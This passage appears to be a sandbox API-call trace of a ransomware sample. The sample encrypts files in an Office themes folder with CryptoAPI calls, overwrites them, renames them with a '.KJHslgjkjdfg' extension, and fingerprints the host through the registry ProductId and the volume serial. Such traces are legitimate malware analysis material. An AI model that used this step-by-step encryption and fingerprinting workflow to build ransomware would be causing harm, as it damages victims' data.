lpOverlapped=0x0) returned 1 [0147.082] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x184f0, dwBufLen=0x184f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x184f0) returned 1 [0147.083] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.083] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x184f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x184f0, lpOverlapped=0x0) returned 1 [0147.084] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.084] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.084] SetEndOfFile (hFile=0x118) returned 1 [0147.087] GetProcessHeap () returned 0x2a0000 [0147.087] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.087] GetProcessHeap () returned 0x2a0000 [0147.087] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.kjhslgjkjdfg")) returned 1 [0147.093] CloseHandle (hObject=0x118) returned 1 [0147.093] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0147.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.094] GetProcessHeap () returned 0x2a0000 [0147.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.094] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.094] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.094] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0147.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.096] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.096] GetProcessHeap () returned 0x2a0000 [0147.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.096] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.096] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.096] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.096] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.096] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.096] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.097] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.097] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.097] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x225, lpOverlapped=0x0) returned 1 [0147.097] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230) returned 1 [0147.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.097] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x230, lpOverlapped=0x0) returned 1 [0147.097] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.097] SetEndOfFile (hFile=0x118) returned 1 [0147.100] GetProcessHeap () returned 0x2a0000 [0147.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.100] GetProcessHeap () returned 0x2a0000 [0147.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.kjhslgjkjdfg")) returned 1 [0147.109] CloseHandle (hObject=0x118) returned 1 [0147.109] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.110] GetProcessHeap () returned 0x2a0000 [0147.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.110] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.110] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.110] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.113] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.113] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.113] GetProcessHeap () returned 0x2a0000 [0147.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.113] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.113] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.113] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.113] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.113] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.113] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.113] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.113] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.113] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.113] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.113] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.113] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x143b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x143b, lpOverlapped=0x0) returned 1 [0147.114] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1440, dwBufLen=0x1440 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1440) returned 1 [0147.114] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.114] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1440, lpOverlapped=0x0) returned 1 [0147.115] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.115] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.115] SetEndOfFile (hFile=0x118) returned 1 [0147.117] GetProcessHeap () returned 0x2a0000 [0147.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.117] GetProcessHeap () returned 0x2a0000 [0147.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.118] CloseHandle (hObject=0x118) returned 1 [0147.120] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.121] GetProcessHeap () returned 0x2a0000 [0147.121] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.121] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.121] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.121] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0147.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.126] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.126] GetProcessHeap () returned 0x2a0000 [0147.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.126] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.127] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.127] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.127] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.127] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.127] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.127] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8317, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x8317, lpOverlapped=0x0) returned 1 [0147.129] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8320, dwBufLen=0x8320 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8320) returned 1 [0147.129] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.129] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8320, lpOverlapped=0x0) returned 1 [0147.129] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.130] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x83f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.130] SetEndOfFile (hFile=0x118) returned 1 [0147.133] GetProcessHeap () returned 0x2a0000 [0147.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.133] GetProcessHeap () returned 0x2a0000 [0147.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.134] CloseHandle (hObject=0x118) returned 1 [0147.134] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.134] GetProcessHeap () returned 0x2a0000 [0147.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.134] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.134] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.134] GetProcessHeap () returned 0x2a0000 [0147.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.135] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.135] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.135] GetProcessHeap () returned 0x2a0000 [0147.135] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.135] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.135] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.135] GetProcessHeap () returned 0x2a0000 [0147.135] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.135] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.135] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.136] GetProcessHeap () returned 0x2a0000 [0147.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.136] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.136] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.136] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.136] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.136] RegCloseKey (hKey=0x118) returned 0x0 [0147.136] GetProcessHeap () returned 0x2a0000 [0147.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.136] GetProcessHeap () returned 0x2a0000 [0147.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.136] GetProcessHeap () returned 0x2a0000 [0147.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.136] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.136] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.137] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.137] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.137] GetProcessHeap () returned 0x2a0000 [0147.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.137] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.137] 